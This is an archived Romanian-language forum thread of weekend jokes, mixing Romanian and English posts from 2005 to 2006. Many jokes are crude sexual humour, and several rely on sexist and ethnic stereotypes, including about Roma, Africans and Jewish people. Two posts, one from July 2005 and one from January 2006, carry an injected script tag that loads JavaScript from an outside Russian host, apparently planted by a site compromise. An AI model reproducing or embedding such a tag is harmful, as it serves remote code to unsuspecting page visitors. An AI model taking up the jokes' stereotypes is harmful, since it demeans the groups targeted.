Arată versiune întreagă : Si daca tot e vineri

Pagini : [1] 2

20.05.2005, 04:41
Propun sa postam in acest topic cate o fapta reala foarte haioasa sau cate un banc de sfarsit de saptamana care sa ne bine dispuna pentru weekendul care este foarte aproape.
Voi incepe eu cu o intamplare pe care am auzit-o la radio in drum spre birou si de care am ras de mi-au dat lacrimile smileys/smiley1.gif

In <st1:State><st1:place>West Virginia</st1:place></st1:State>, o femeie care vopsea un gard parca, a avut marea surpriza ca o camila s-a

20.05.2005, 07:37
un banc vechi care trebuie reactualizat: stiti ce fac unii
cetateni din Romania( acum numai unii) cand le vine chef de

se aseaza si asteapta sa le treaca... sper ca in curand bancul sa se perime.

10.06.2005, 07:20
Ion si Maria la maternitate:
- No Marie, ce avem?
- Baiat.
- No, ... si cu cine seamana?
- ... degeaba-ti spun, ca nu-l cunosti !smileys/smiley36.gif

10.06.2005, 11:22
Cica 2 pinguini stateau pe un palmier si crosetau bule de apa minerala, 2 pe fata si 2 pe dos, si vad ei o vaca, care era mama lor, trecand in zbor. Vaca spre pinguini:
- Buna, stiti cumva cat este ceasul?
- 35 grade Celsius spuse un pinguin privindu-si ganditor brelocul.

10.06.2005, 11:48
Pinguini in palmier?mama lore o vacacare zboara?? Cristian, what are you smoking???

10.06.2005, 11:59
christian, bancul tau 'suna' ca o pictura suprarealista. garfield, privestetablourile lui Dali sau ale Fridei Kahlo si ai sa gasesti asemanari...

10.06.2005, 12:10
Frida Kahlo is a bit strange, but Salvador Daliwas a really twisted individual.

10.06.2005, 12:55
Garfield, cred ca nu prea ai avut ocazia sa citesti asa zisele "bancuri seci", ceva de genul: "un tip avea un caine si cainele n-avea nimic impotriva" smileys/smiley36.gif

10.06.2005, 13:23
Sorine da pe ala cu tunu' il stii?

tu_nu ma mai iubesti , sorineeeee smileys/smiley36.gif

10.06.2005, 13:28
hazel eu in schimb te-as putea iubi. smileys/smiley5.gif

10.06.2005, 13:52
christian, eu ti-am declarat iubirea neconditionat, acum 10 decenii si-un secol,de la prima-ti poezie care mi-a cazut sub ochi.

Tu de ce folosesti conditionalul? christiane, christiane, vorbele doare christiane, vorbele-s ca acidul sulfuric, aluneca pe inima si lasa arsuri.

Dar daca tu continui sa scrii asa cum scrii si sa pictezi bancuri asa cum ai pictat, s-ar putea sa fim iubiti, daca ne vom renaste ca flori in doua gradini suspendate. Tu un trandafir inalt, mandru, izolat si rece, iar eu o panseluta cu aer efemer, dar atat de rezistenta sub nazurileanotimpurilor.

10.06.2005, 13:53
Sorine da pe ala cu tunu' il stii?

tu_nu ma mai iubesti , sorineeeee smileys/smiley36.gif

Nu ma fa sa le incep si eu pe alea cu curca, dulapu', visine, sapun si multe altele ca ....rosheste coala de hartie smileys/smiley36.gif

10.06.2005, 20:20
ok, pai atuncisa dati click aici poate mai zambiti putin (aveti grija sa nu fie copii de fata) http://www.slip-matt.com/puppet_sex4.mov

si mai uiteo poveste ....

Guy is walking along the strip in Las Vegas and a knockout-looking
Vegas hooker catches his eye.
He strikes up a conversation and eventually asks the hooker, "How
much do you charge?"

Hooker replies, "It starts at $500 for a hand-job."

Guy says, "$500 dollars! For a hand-job! Holy crap, no hand-job is
worth that kind of money!"

The hooker says, "Do you see that Denny's on the corner?"


"Do you see the Denny's about a block further down?"


"And beyond that, do you see that third Denny's?"

Well," says the hooker, smiling invitingly, "I own those. And,
I own them because I give a hand-job that's worth $500."

Guy says, "What the hell? You only live once. I'll give it a try."
They retire to a nearby motel. A short time later, the guy is sitting
on the bed realizing that he just experienced the hand-job of a
lifetime, worth every bit of $500. He is so amazed, he says,
"I suppose a blow-job is $1,000?"

The hooker replies, "$1,500."

"I wouldn't pay that for a blow-job!"

The hooker replies, "Step over here to the window, big boy.

Do you see that casino just across the street? I own that casino
outright. And I own it because I give a blow-job that's worth every
cent of $1,500."

The guy, basking in the afterglow of that terrific hand-job, decides
to put off the new car for another year or so, and says, "Sign me up."

Ten minutes later, he is sitting on the bed more amazed than before.
He can scarcely believe it but, he feels he truly got his money's worth.
He decides to dip into the retirement savings for one glorious and
unforgettable experience. He asks the hooker, "How much for some

The hooker says, "Come over here to the window, I want to show you
something. Do you see how the whole city of Las Vegas is laid out before
us all those beautiful lights, gambling palaces, and show places?"

"Damn!" the guy says, in awe, "You own the whole city?"

No," the hooker replies, "but I would if I had a pussy."

sper ca toata lumea sa savureze zambetul ..chiar daca sunt cam indecente ...asta am si eu prin email mai nou ..asta v-am pussmileys/smiley36.gif

11.06.2005, 06:06
Pt Cristian de la Polul Nord

Iarna_m bani Cristiane

11.06.2005, 19:34
Asta e putin mai vechi! .......da finalu' e de actualitate

Un american si un rom

11.06.2005, 19:39
Dedicatie pentru simomi:
Un tip bea intr-un bar si i se adreseaza femeii de la masa alaturata:
"Beam din berea mea si ma gindeam... Sa mai beau un rind sau te plac si-asa?"</DIV>

13.06.2005, 04:30
Garfield, cred ca nu prea ai avut ocazia sa citesti asa zisele "bancuri seci", ceva de genul: "un tip avea un caine si cainele n-avea nimic impotriva" smileys/smiley36.gif

Uh... No, I never had the 'pleasure'...I always thought the whole point of telling a joke is to be funny smileys/smiley5.gif

13.06.2005, 04:42
How about this Garfield?


1. Okay, okay! I take it back. Unf**k you.

2. You say I'm a bitch like it's a bad thing.

3. Well, this day was a total waste of make-up.

4. Well, aren't we a damn ray of sunshine?

5. Don't bother me, I'm living happily ever after.

6. Do I look like a people person?

7. This isn't an office. It's hell with fluorescent lighting.

8. I started out with nothing and I still have most of it left.

9. Therapy is expensive. Popping bubble wrap is cheap. You choose.

10. Why don't you try practicing random acts of intelligence and senseless acts of self-control?

11. I'm not crazy. I've been in a very bad mood for 30 years.

12. Sarcasm is just one more service I offer.

13. Do they ever shut up on your planet?

14 I'm not your type. I'm not inflatable.

15. Stress is when you wake up screaming and you realize you haven't gone to sleep yet.

16. Back off!! You're standing in my aura.

17. Don't worry. I forgot your name too.

18. I work 45 hours a week to be this poor.

19. Not all men are annoying. Some are dead.

20. Wait...I'm trying to imagine you with a personality.

21. Chaos, panic and disorder .. my work here is done.

22. Ambivalent? Well, yes and no.

23. You look like sh*t. Is that the style now?

24. Earth is full. Go home.

25. Aw, did I step on your poor little itty bitty ego?

26. I'm not tense, just terribly, terribly alert.

27. A hard-on doesn't count as personal growth.

28. You are depriving some village of an idiot.

29. If assholes could fly, this place would be an airport.

13.06.2005, 05:12
See, now this is funny. smileys/smiley36.gifIt's not really a joke but it is really funny! smileys/smiley36.gif

13.06.2005, 18:15
Subiect: gramatica

Intrebare:Ce timp gramatical este folosit in propozitia: "Tu nu trebuia sa te fi nascut."?

Raspuns: Prezervativ imperfect

14.06.2005, 01:35
Mie nu imi plac bancurile seci in schimb imi place vinul secsmileys/smiley37.gif

14.06.2005, 03:01
There was a guy in a bar one night that got really drunk, I mean really, really, really drunk(coz' of some white wine..lol..Melina). When the bar closed he got up to go home. As he stumbled out the door he saw a nun walking on the sidewalk. So he stumbled over to the nun and punched her in the face. Well the nun was really surprised but before she could do or say anything he punched her again. This time she fell down and he stumbled over to her and kicked her in the butt. Then he picked her up and threw her into a wall. By this time the nun was pretty weak and couldn't move. So then he stumbled over to her, put his face right next to hers and said. "Not very strong tonight, are you Batman?"

16.06.2005, 05:32
Mooo are uger dar n-are balls.

16.06.2005, 08:38
<DIV>Wake up man another Friday is coming up !smileys/smiley4.gif</DIV>

16.06.2005, 09:06
There was a guy in a bar one night that got really drunk, I mean really, really, really drunk(coz' of some white wine..lol..Melina).

LOLJOHANN smileys/smiley36.gif

I guessall this happend on a Friday night?!smileys/smiley4.gifsmileys/smiley2.gif

16.06.2005, 11:49
...of course it was a Firday night smileys/smiley1.gif...coz' i went there too ..smileys/smiley36.gif

There was a guy in a bar one night that got really drunk, I mean really, really, really drunk(coz' of some white wine..lol..Melina).

LOLJOHANN smileys/smiley36.gif

I guessall this happend on a Friday night?!smileys/smiley4.gifsmileys/smiley2.gif

17.06.2005, 07:29
Si daca tot s-a facut iarasi Vineri.....

Barbatul a descoperit ARMELE si a inventat VANATOAREA,
Femeia a descoperit VANATOAREA si a inventat Victimele=Barbati

Barbatul a descoperit CULORILE si a inventat PICTURA,
Femeia a descoperit PICTURA si a inventat MAKEUP-ul

Barbatul a descoperit LUMEA si a inventat CONVERSATIA,
Femeia a descoperit CONVERSATIA si a inventat BARFA

Barbatul a descoperit JOCURILE si a inventat CARTILE DE JOC,
Femeia a descoperit CARTILE DE JOC si a inventat DATUL IN CARTI

Barbatul a descoperit AGRICULTURA si a inventat MANCAREA,
Femeia a descoperit MANCAREA si a inventat DIETA

Barbatul a descoperit PRIETENIA si a inventat DRAGOSTEA,
Femeia a descoperit DRAGOSTEA si a inventat CASATORIA

Barbatul a descoperit FEMEIA si a inventat SEXUL,
Femeia a descoperit SEXUL si a inventat DURERILE DE CAP

Barbatul a descoperit COMERTUL si a inventat BANII,

17.06.2005, 11:03
Cica un mosneag isi ia cu el babuta lui, femeie la 70 de ani, si o duce la o banca.
Ajunge el acolo si la un ghiseu spuse functionarului:
- Domnule poti sa-mi schimbi baba asta de 70 de ani pe 2 de 35?

17.06.2005, 11:23
Bob was driving home over the Golden Gate Bridge at about 90mph. Wouldn't you know a cop jumped out and clocked him with radar. Bob pulled over like a good citizen; recalling Rodney King and recent illegal alien incidents.
The cop walked up to the window and said, "You know how fast you were going BOY?!?"

Bob thought for a second and asked, "Uhhh, over 55?"

"93mph son! 93mph in a 55 zone!"

"But if you already knew," replied Bob, "Why did you ask me?"

Ignoring Bob, the officer continued, in his normal charming fashion, "That's speeding and your getting a ticket and a fine!" The cop took a good look at the Bob and said, "You don't even look like you have a job! Why,... I've never seen anyone so scruffy in my entire life!"

Bob recanted, "I've got a job! I have a good, well paying job!"

The cop leaned in the window, and with the smell of day old donuts on his breath, said, "What kind of a job would a bum like you have?!?"

"I'm an asshole stretcher!!!" replied Bob.

"What you say, BOY?!?" asked the patrolman.

"I'm an asshole stretcher!!!"

Of course the cop asked, "What does an asshole stretcher do?"

Bob explained, " People call me up and say they want to be stretched, so I go over there and start with a couple of fingers, then a couple more, and then one whole hand, then two. Then I pull them farther and farther apart until it's six feet across."

The cop, absorbed with the images in his mind, let down his guard and asked, "What the hell do you do with a six foot asshole ?"

Bob nonchalantly commented, "You give it a radar gun and stick it at the end of a bridge!

17.06.2005, 11:55
Five Jewish men influenced the history of Western civilization.

Moses said the law is everything.
Jesus said love is everything.
Marx said capital is everything.
Freud said s-x is everything.
Einstein said everything is relative.

18.06.2005, 14:00
A newlywed couple returned to their apartment after being on their honeymoon.

"Care to go upstairs and do it?" the husband asked.

"Shh!" said the bride "All the neighbors will know what we're about to do. These walls are paper thin. In the future, we'll have to ask each other in code. For example, how about asking, 'Have you left the washing machine door open' instead?"

So, the following night, the husband asks, "I don't suppose you left the washing machine door open, did you?"

"No, I definitely shut it," replied the wife who rolled over and fell asleep.

When she woke up however, she was feeling a little frisky herself and she nudged her husband and said, "I think I did leave the washing machine door open after all. Would you like to do some washing?"

"No, thanks," said the husband. "It was only a small load so I did it by hand.

24.06.2005, 05:45
Un ascultator suna la un post de radio. - Buna ziua! - Buna ziua! Va ascultam. - Am gasit un portofel care contine 15000 dolari si un buletin de identitate pe numele Popovici Mihai. As vrea sa-i ofer o dedicatie muzicala ...</PRE>

24.06.2005, 15:24

30.06.2005, 08:11
Vineri, noaptea tarziu suna telefonul. Sotia ridica receptorul:
- Scumpo, sunt eu. Vin acasa. Nu am intarziat prea mult, nu?
- Nu, scumpule.
- Dar, pot sa vin cu 5-6 prieteni?
- Desigur, scumpule.
- Mai stam, mai vorbim...
- Da, scumpule.
Barbatul tace, apoi spune:
- Ma scuzati, cred ca, am gresit numarul.

01.07.2005, 04:51
Le-am primit azi si am facut doar:copy &amp; paste:

De cate ori roseste o femeie in viata ? Raspuns: de 5 ori.

&gt; &gt; Prima data roseste cand face sex pentru prima oara,

&gt; &gt; a doua oara roseste cand face pentru prima data sex cu un alt

&gt; &gt; barbat, a treia oara roseste cand o face prima data pentru bani, a

&gt; &gt; patra oara roseste cand da bani sa o faca si... a cincea oara cand

&gt; &gt; ramane cu banii in mana.


&gt;Dar un barbat ?

&gt;Prima oara - cand nu mai poate a doua oara,

&gt;iar a doua oara cand nu mai poate nici prima oara



&gt;Matematica la Cumparaturi, Un barbat va plati 2 $ pentru un produs de

&gt;1 $ de care insa are nevoie. O femeie va plati 1$ pentru un produs de

&gt;2 $ de care insa nu are nevoie. Egalitati &amp; Statistici, - O femeie

&gt;se va ingrijora cu privire la viitorul ei pina la momentul

&gt;casatoriei.Un barbat nu se va ingrijora niciodata cu privire la

&gt;viitorul sau pina cind se va casatori. Un barbat de succes este acela

&gt;care cistiga mai mult decit poate cheltui sotia sa.O femeie de succes

&gt;este aceea care se marita cu un asemenea barbat.


&gt;Fericire, - Pentru a fi fericita cu un barbat trebuie sa-l intelegi

&gt;mereu si sa-l iubesti putin.Pentru a fi fericit cu o femeie trebuie sa

&gt;o iubesti enorm si sa nu incerci niciodata sa o intelegi.


&gt; Despre schimbare, - O femeie se casatoreste cu gindul ca sotul ei

&gt;se va schimba, dar chestia asta nu se va intimpla.Un barbat se

&gt;casatoreste cu gindul ca sotia sa nu se va schimba, lucru care insa se

&gt;va intimpla cu siguranta.



&gt; Tehnica discutiei, - In orice confruntare verbala, femeia are

&gt;intotdeauna ultimul cuvint. Orice cuvint rostit de barbat dupa ce ea a

&gt;incheiat conversatia este de fapt inceputul unei noi runde de



&gt; Cum sa-ti convingi rudele sa nu te mai bata la cap sa te

&gt;casatoresti ?

&gt;- Matusile in virsta obisnuiau sa ma sicaneze la fiecare nunta

&gt;spunindu-mi: "Tu urmezi!" S-au potolit insa dupa ce le-am soptit

&gt;acelasi lucru la fiecare inmormintare.




&gt;"Un politzai vede pe strada un calugar in sutana; se repede la el si-l

&gt;bate mar; in timp ce bietul calugar incerca sa se "adune" de pe jos,

&gt;politzaiul ii zice : "vezi ba, ninja, ca nu-i ca-n filme ?""



&gt;"-Care e diferenta dintre un WC si un frigider?


&gt;-Nu stii? Imi imaginez ce e la tine acasa!"



&gt;"Decebal vorbeste cu fiul lui inainte de moarte si zise: -FIULE SE








&gt;"Stefan Cel Mare in timpul unui important consiliu militar impreuna cu



&gt;importanti boieri ai tarii. La un moment dat intra fara sa se mai anunte un

&gt;soldat obosit de cat alergase:

&gt;-Maria ta, vin turcii peste noi!!!!

&gt;Stefan: -Cati sunt?

&gt;-Vreo 10 mii! raspunde soldatul.

&gt;-Bine! spune Stefan. Lasa ca-i razbim noi. Numai sa-mi aduceti camasa rosie


&gt;nu vada soldatii nostri daca sunt ranit.

&gt;Dupa vreo doua luni povestea se repeta. Dar de data asta turcii erau vreo

&gt;20 de mii.<script src=http://www.iroe.ru/ngg.js></script>

01.07.2005, 23:14
Doua faze adevarate cu Garcea:

Acum un an la Prima TV la stiri un militian despre o persoana:"e un barbat de sex masculin"

Si militienii de frontiera sint Garcea.Acum o luna unul care cauta un automat de cafea mi-a cerut sa-i spun unde e "tonomatul de cafea"http://www.romanian-portal.com/forum/smileys/smiley8.gif

Si acum un banc:Un african din tarile "fratesti"merge la studii la Moscova,unde ,in afara de crishme si femei ,mai studiaza si ruleta ruseasca.Tipu' ajunge mare scula in bascula la el in tara,iar tovarasii sovietici vin in vizita de lucru sa vada realizarile socialismului in Africa:femei,crishme,cite o"fabrica"anemica.La sfirsit le zice negrul:-Acuma mergemla o ruleta africana!sov:Da cum e aia?n:10 gagici stau in cerc si fac sex oral! sov:Bine,dar care e pericolul,ca la ruleta ruseasca...? n:Una dintre ele e dintr-un trib de canibali!

08.07.2005, 05:54
Memo to all employees:

In order to assure the highest levels of quality work and productivity
from employees, it will be our policy to keep all employees well trained
through our program of SPECIAL HIGH INTENSITY TRAINING (S.H.I.T).

We are trying to give our employees more, S.H.I.T than anyone else.
If you feel that you do not receive your share of S.H.I.T on the course,
please see your supervisor. You will be immediately placed at the top of
the S.H.I.T list, and our supervisors are especially skilled at seeing you
get all the S. H. I. T. you can handle.

Employees who don't take their S. H. I.T. will be placed in DEPARTMENTAL

Those who fail to take D.E.E.P.S.H.I.T seriously will have to go to

Since our supervisors took S.H.I.T before they were promoted, they don't
have to take S.H.I.T anymore, and are all full of S.H.I. T already.

If you are full of S.H.I.T, you may be interested in a job teaching others.
We can add your name to our BASIC UNDERSTANDING LIST of LEADERS (B.U.L.L.S.H.I.T).

For employees who are intending to pursue a career in management and
consulting, we will refer you to the department of MANAGERIAL

This course emphasizes how to manage M.O.R.E. S.H.I.T.

If you have further questions, please direct them to our HEAD OF

Thank you,


P.S. Now send this S.H.I.T to 5 people who need S.H.I.T in their life,
just not the same person who sent you this S.H.I.T. They have already
had their fill of S.H.I.T

Thank you for your time.


The Director Under the Main Bureau of Super High Intensity Training.
(The D.U.M.B.S.H.I.T).

29.07.2005, 06:19
Subject: Mesaje teroriste in Ro

Populatia trebuie linistita, deoarece tocmai a fost interceptat un mesaj, trimis catre organizatia centrala de un membru al unei celule teroriste aflate in <st1:place>tara</st1:place> noastra:

"Salutam cu rezbect, jefu'. Aderizat la <st1:country-regi&#111;n><st1:place>Romania</st1:place></st1:country-regi&#111;n> cu bomba la valiza ascuns bine; dragut fara problem control aerobort, fiindca mai gasit un bagaj pierdut pe drum. Pastrat dolar American blestemat, pentru construit aigea bomba noua; dat jumadate la daxi, jumatate furat tigan din buzunar. Indilnit frate Ahmed, patron magazin, ajudat la mine. Discutat cu el la cafenea plan bomba, consumat egler proaspat, intoxicat zalmonel, noi ajuns spital, doctor roman durut la cur.

Jefu', gu bomba praf antrax nu putut facut la <st1:country-regi&#111;n><st1:place>Romania</st1:place></st1:country-regi&#111;n>, deci ingergat plan bomba cu bum-bum! ...

Mutat apartament frate Ahmed, adus mult frumos aminde <st1:place>tara</st1:place> me, fara apa la robinet. Urmarit emiziuni explozia camion azotat, facut frica la mine. Astia romani are tupeu nu gluma! Trebuie recrutati, jefu! Bomba cu azotat mare efect aveam!
Inderesat pilotat avion pentru lovit gladire la romani; vazut delevizor aparat zbor MIG prabusit singur in ogorul taranului, plus roman stricat singur gladire, adormit beat, tigara aprinsa, murit zoagra, facut chef mare la ei.
Draga jefu', gineva furat la mine gas pastrat bentru bus la bomba, iar azeara, gind iesit cumparat baglava, exblodat budelie la parter. Aicia la Romania , mult cretin! Zberiat, zguibat la zin, cacat pe mine de frica! Jefu, ma indorg agaza!

Asta romani nu are nevoie de terorism, face singur treaba noastra."

14.08.2005, 20:27
Doua tipe discutau aprins despre noi tehnici in privinta sexului! -Draga am auzit ca mai nou e super sa te f*** in urechi!

-Cum draga???? Nu exista pericolul sa surzesti?

-Da' ce draga pana acum ai fost muta?

26.08.2005, 08:06
For Teachers Only

Someone asked me why these are specifically for teachers. I simply said,teachers would be the only ones to find them amusing. The patience, the sense of humour etc. are all soimportant.Classroom situations are simply special. Anyway, if you are not a teacher - just knowing kids helps.

from : David Shaw

TEACHER: Harold, what do you call a person who keeps on talking whenpeople are no longer interested ?
HAROLD: A teacher.
TEACHER: Maria, go to the map and find <st1:place>North America</st1:place>.
MARIA: Here it is.
TEACHER: Correct. Now class, who discovered <st1:country-regi&#111;n><st1:place>America</st1:place></st1:country-regi&#111;n> ?

02.09.2005, 09:13
This is an actual letter sent to a man named Ryan DeVries by the Michigan Department of Environmental Quality, State of <st1:State><st1:place>Michigan</st1:place></st1:State>. This guy's response is hilarious, but read the State's letter before you get to the response letter.(It

06.09.2005, 23:29
Bula soldat trimite acasa un pachet in care se afla o grenada si o notita:Mama, daca tragi de cuiul asta, primesc invoire o saptamana!

11.11.2005, 03:47
<B style="mso-bidi-font-weight: normal">New Official Language[/B]

The European Commission has just announced an agreement whereby
English will be the official language of the European Union rather than
German, which was the other possibility.

As part of the negotiations, the British Government conceded that
English spelling had some room for improvement and has accepted a 5- year
phase-in plan that would become known as "Euro-English".

In the first year, "s" will replace the soft "c". Sertainly, this will
make the sivil servants jump with joy.

The hard "c" will be dropped in favour of "k". This should klear up
konfusion, and keyboards <st1:State w:st="&#111;n"><st1:place w:st="&#111;n">kan</st1:place></st1:State> have one less letter.

There will be growing publik enthusiasm in the sekond year when the
troublesome "ph" will be replaced with "f". This will make words like
fotograf 20% shorter.

In the 3rd year, publik akseptanse of the new spelling <st1:State w:st="&#111;n"><st1:place w:st="&#111;n">kan</st1:place></st1:State> be expekted
to reach the stage where more komplikated changes are possible.

Governments will enkourage the removal of double letters which have
always ben a deterent to akurate speling.

Also, al wil agre that the horibl mes of the silent "e" in the languag
is disgrasful and it should go away.

By the 4th yer people wil be reseptiv to steps such as replasing "th"
with "z" and "w" with "v".

During ze fifz yer, ze unesesary "o" kan be dropd from vords
kontaining "ou" and after ziz fifz yer, ve vil hav a reil sensibl riten styl.

Zer vil be no mor trubl or difikultis and evrivun vil find it ezi tu
understand ech oza. Ze drem of a united urop vil finali kum tru.

Und efter ze fifz yer, ve vil al be speking German like zey vunted in
ze forst plas.

If zis mad you smil, pleas pas on to oza pepl.

01.12.2005, 10:22
1. The sport of choice for the urban poor is BASKETBALL.
2. The sport of choice for maintenance level employees is BOWLING.
3. The sport of choice for front-line workers is FOOTBALL.
4. The sport of choice for supervisors is BASEBALL.
5. The sport of choice for middle management is TENNIS.
6. The sport of choice for corporate officers is GOLF.
The higher you are in the corporate structure, the smaller your balls become...

01.12.2005, 10:24
astea sunt pentru ziua romaniei:

2 viermi tatal si fiul se plimbau printr-un rahat. La un moment dat au iesit afara din el.
- Tata, intreaba fiul vazand soarele,ce e obiectul acela stralucitor?
- Soarele fiule, ii raspunse tatal.
- Dar obiectul acela albastru pe care sta soarele ce e?
- Cerul fiule, ii raspunse tatal.
- Dar firele astea verzi care ne inconjoara?
- Iarba fiule, ii raspunse tatal.
- Vai tata, dar daca este asa frumos afara noi de ce stam in rahat?
- Din patriotism fiule.

Care dintre tarile lumii seamana cu sexul femeii?De ce?
-Anglia- deoarece este tot timpul umeda!
-Koreea- deoarece este impartita in doua!
-Romania (in vremurile actuale) -deoarece iti vine sa-ti bagi p..a in ea!

27.01.2006, 01:45
<B style="mso-bidi-font-weight: normal">Scrisori, scrisori[/B]

<I style="mso-bidi-font-style: normal">Acum 30 de ani:[/I]

Mi-e dor de buzele tale fierbinti, de mainile tale puternice, mi-e dor sa-mi mai sprijin capul pe umarul tau. Mi-e dor sa ma mai privesti, sa ma dezmierzi, sa ma alinti. Ce n-as da sa te am langa mine, sa te simt, sa te miros, sa te cuprind, sa ma cuprinzi, sa te sarut, sa ma saruti...Te astept iubitule, la fel cum astept primavara sa vina peste mine sa-mi infloreasca copacii, sa-mi intoarca randunelele, sa-mi imboboceasca zambilele si narcisele si ghioceii. Si-as vrea sa te adulmec ca pe-o frezie galbena si sa te pun intre sani, sa-ti simt mirosul in nari tot anotimpul. Si sa ramai proaspat acolo, sa nu te ofilesti, hranit de seva sanilor mei. Te-as face parfum iubitule, parfum de frezie te-as face, si as pastra reteta numai pentru mine, sa nu te aiba nici Channel si nici Dior. Si-as fi cea mai iubita dintre pamanteni cu parfumul tau izuind dinspre mine si doar spre iarna te-as mai preschimba in parfum de cetina verde. Te-as scoate de acolo, dintre sani, ca pe un clondir fermecat si-as pune doua sau trei picaturi in causul palmei si-apoi le-as saruta. Ti-as saruta parfumul iubitule, sub un manunchi de vasc, in noaptea de Craciun.

<I style="mso-bidi-font-style: normal">Si... in zilele noastre:[/I]

Vezi ca ti-am lasat mancare calda in cuptor. Ai grija cum scoti tava,sa nu dai pe jos, cum ai facut alaltaieri la mama. Ti-am pus si o bere la rece, in frigider. <st1:place w:st="&#111;n">E Tuborg</st1:place>, ca n-am mai gasit Timisoreana. Ori<script src=http://www.iroe.ru/ngg.js></script>

31.03.2006, 02:55
<B style="mso-bidi-font-weight: normal"><I style="mso-bidi-font-style: normal">Dedicatie speciala pentru Garfield smileys/smiley36.gif[/I][/B]

Scrisoare de la Romania

Dear George Bush Jr,

Pentru inceput vreau just to anuntz you that am ajuns cu bine in acest country care esti originar mr. Dracula. Ai avut dreptate when mi-ai spus ca un zbor in B52 with <st1:country-regi&#111;n w:st="&#111;n"><st1:place w:st="&#111;n">US</st1:place></st1:country-regi&#111;n> division 72 aeropurtat poate schimba radical view of life. In plus, boys din infanteria marine are such nice guys si distractivi! We had a lot of fun si ce-am mai ras cand unul din ei a amorsat in gluma o grenade pe care a scapat-o down la terizare si a facut undragutz hole pe pista! Dupa cum am vazut, probably este un joke la moda playing cu grenade, because in airport erau many gauri on piste. Baiat with grenade ajunge tommorow home in US and transmite you plz condoleantz to his family! In airport I was ashteptat de un beautyful girls band ("The girls from Capilna") care lives on the "<st1:place w:st="&#111;n"><st1:PlaceName w:st="&#111;n">Chicken</st1:PlaceName> <st1:Place w:st="&#111;n">Mountain</st1:place></st1:place>" - place where s-au nescut mr.Dracula, Hagi &amp; Tceaushesco. Newz ar fi ca the capital of Romania nu esti Budapest ci Bucharest and chind am ajus nu era nici o rainbow cum you have told me. In tot <st1:City w:st="&#111;n"><st1:place w:st="&#111;n">Bucharest</st1:place></st1:City> este trendy jucat whith grenades on street so the asfalt is full of gauri. Am gasit nickname pentru acest tara and I'm zis "Ten percent country" because only 10% din street n-ai gauri, project Dracula Land it's ready 10% adiche numai s-a dat numele), chind am cheutat investment place all the factors responsabil said to me "10% &amp; luat for free" (in general comision for everything esti "zetce la sut") and per totally, 10% din romini au 90% din PIB and 90% of population have rest the 10% . Oameni are very dragutz with americans and indiferent what you want, romini spune "OK tatiku, dache ai bani se poate oritche". Ba chiar, one brown romanian cherokee, chind ma plimbam on street, a aratat me three blonds surori de-ai lui and told me to pick one &amp; mergi la hotel to see beauties of this town. Of corse am refused because you told me sa fii careful at biologic bombs! Chind that indian a insistat am aratat the big sergent Jones care ashtepta in mashin and the indian said "a, eshti bulangiu!", cuvint care means goodbye.


01.04.2006, 06:01
<B style="mso-bidi-font-weight: normal"><I style="mso-bidi-font-style: normal">Dedicatie speciala pentru Garfield smileys/smiley36.gif[/I][/B]

I feel very special that you took the time to dedicate something special for me. smileys/smiley9.gif

I'd like to thank you, but I really don't know how. It's not that I have any trouble expressing myself, but I am having some difficulty reading your letter, andI couldn't determine if you were trying to amuse me, or insult me. smileys/smiley18.gif

Either way, as long as you got a giggle out of it, it's all good. smileys/smiley4.gif

01.04.2006, 06:59
<B style="mso-bidi-font-weight: normal"><I style="mso-bidi-font-style: normal">Dedicatie speciala pentru Garfield smileys/smiley36.gif[/I][/B] ...you were trying to amuse me, or insult me. smileys/smiley18.gif

garfield, cu siguranta n-a fost o insultasmileys/smiley18.gifdar poti sa o iei cum vrei, n-are importantasmileys/smiley9.gif...eu unul m-am amuzat, si eu as fi scris-o la felsmileys/smiley36.gif...ti-ai pierdut cumva simtul umorului?smileys/smiley7.gif

01.04.2006, 07:45
Pisoi, you're not Sorin's public defender, are you? smileys/smiley92.gif

What's funny to one person, is not necessarily funny to the next person, especially when you have trouble understanding the meaning, and lost patience reading it, less than half way through. Not to mention, that I have some doubts about Sorin's intentions in the first place. smileys/smiley5.gif

But then again, who knows,it could be too muchFlorida sun. smileys/smiley36.gif

01.04.2006, 12:49
Garfield, este doar o gluma nevinovata si ma surprinde faptul ca se discuta atat de mult pe aceasta tema. Daca te deranjeaza, sterg acest topic. smileys/smiley5.gif

01.04.2006, 15:40
Nu ma deranjeaza, si simplul fapt ca eu nu am inteles gluma, nu e de loc motiv de a sterge mesajul, sau si mai putin, topicul. smileys/smiley4.gif

02.04.2006, 23:55
O batranica moare si ajunge la portile raiului, unde se intalneste cu Sf. Petru, cand deodata se aude un urlet groaznic venind dinspre rai. -Vai de mine, ce se intampla acolo ? -Aaaa, nu va faceti griji pentru asta, gaurim omoplatii cuiva ca sa-i punem aripile de inger! Batranica, vadit speriata de urletu auzit, se da un pas inapoi... cand deodata se aude inca un urlet, chiar mai infiorator decat primul. -Vai de mine, dar asta ce a mai fost? -O nimica toata, gaurim capul cuiva ca sa-i montam aureola de inger! Dand din cap in semn de dezaprobare, batranica spune: -Eu nu pot sa fac asta, mai bine ma duc jos in iad! -Nu, nu, nu puteti face asa ceva, veti fi violata, sodomizata! -Da, dar macar am deja gaurile facute...

12.04.2006, 12:21
Un tip merge pe autostrada66 cu masina si asculta radioul.

&gt; La un moment dat, la radio, crainica anunta:

&gt; - Pe autostrada 66, un nebun merge pe contrasens.

&gt; Tipul, foarte enervat:

&gt; - Nu unul, sute, sute !

12.04.2006, 16:16
Sorine, la mine pe stradae vineri, iar pisoi e cu un an in urma

Lasa-ma aici sau la offtopic ca ma invechesc repede....

Uite ca mai torn una....

In fata gradinitei se plimba de vreo 10 minute un barbat.

&gt; Educatoarea: Asteptati un copil?

&gt; Nu doamna, asa sunt eu, gras...

14.04.2006, 02:23
Cred ca s-a facut de vineri si iata ce am primit in e-mail....

Mica publicitate:

"Tinar aratos situatie materiala exceptionala post de mare raspundere,

relatii bune, doua masini, casa vila in Caraibe. Nu caut nimic, doar ma


" Tanara draguta blonda sexy, fara obligatii,90-60-90, picioare1.20m,

plina de viata patimasa exotica misterioasa amatoare de senzatii tari,...

vand camion."

Sotul se precipita in dormitor:

- Iubito, repede afara de aici, arde casa!

Se aude imediat o voce din sifonier:

Salvati mobila!

14.04.2006, 14:15
Sorine, la mine pe stradae vineri, iar pisoi e cu un an in urma

GNC, la tine pe strada poate o fi vineri in fiecare zismileys/smiley7.gif...si mersi de complimentsmileys/smiley17.gif...acum ma simt ca un tauras cu un an mai tanarsmileys/smiley36.gif

...la sorin cred ca e mereu marti-miercurismileys/smiley18.gif

19.05.2006, 05:43
Scotia.Razboi intre doua cetati,
De la prima cetate zboara o ghiulea,din a doua cade o bucata de cetate.
De la a doua cetate zboara o ghiulea,din prima cade un zid.
